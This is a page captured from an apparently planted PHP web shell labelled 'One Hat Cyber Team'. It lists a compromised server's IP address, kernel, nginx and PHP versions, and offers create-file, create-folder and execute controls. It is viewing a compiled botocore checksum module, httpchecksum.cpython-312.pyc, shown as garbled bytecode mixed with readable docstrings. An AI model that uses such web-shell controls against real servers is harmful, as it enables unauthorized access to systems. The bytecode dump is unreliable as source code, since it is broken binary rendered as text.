⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
botocore
/
__pycache__
/
View File Name :
httpchecksum.cpython-312.pyc
Pe? R d Z ddlZddlZddlZddlmZ ddlmZmZ ddl m Z ddlmZm Z mZ ddlmZ ddlmZmZ e rdd lmZ ndZ ej. e Z G d d Z G d d e Z G d de Z G d de Z G d de Z G d de Z G d d Z G d de Z!d Z" d)dZ#d Z$d Z%d Z& d)dZ'd Z(d! Z)d" Z*eeed#Z+d$d%gZ,e r5eed&Z-e+j] e- e/d' e-ja D sJ e1e+ja Z2g d(Z3y)*aC The interfaces in this module are not intended for public use. This module defines interfaces for applying checksums to HTTP requests within the context of botocore. This involves both resolving the checksum to be used based on client configuration and environment, as well as application of the checksum to the request. N)crc32)sha1sha256)HAS_CRT)AwsChunkedWrapperErrorFlexibleChecksumErrorMissingDependencyException) StreamingBody)conditionally_calculate_md5determine_content_length) checksumsc . e Zd ZdZd Zd Zd Zd Zd Zy)BaseChecksum c y N selfchunks 7/usr/lib/python3/dist-packages/botocore/httpchecksum.pyupdatezBaseChecksum.update2 c y r r r s r digestzBaseChecksum.digest5 r r c j | j }t j | j d S )Nascii)r base64 b64encodedecode)r bss r b64digestzBaseChecksum.b64digest8 s) [[]#**733r c j }t fdd D ] } j | j | y )Nc : j j S r )read_CHUNK_SIZE)fileobjr s r
z.BaseChecksum._handle_fileobj.
.
> s ',,t/?/?"@r r )telliterr seek)r r) start_positionr s `` r _handle_fileobjzBaseChecksum._handle_fileobj<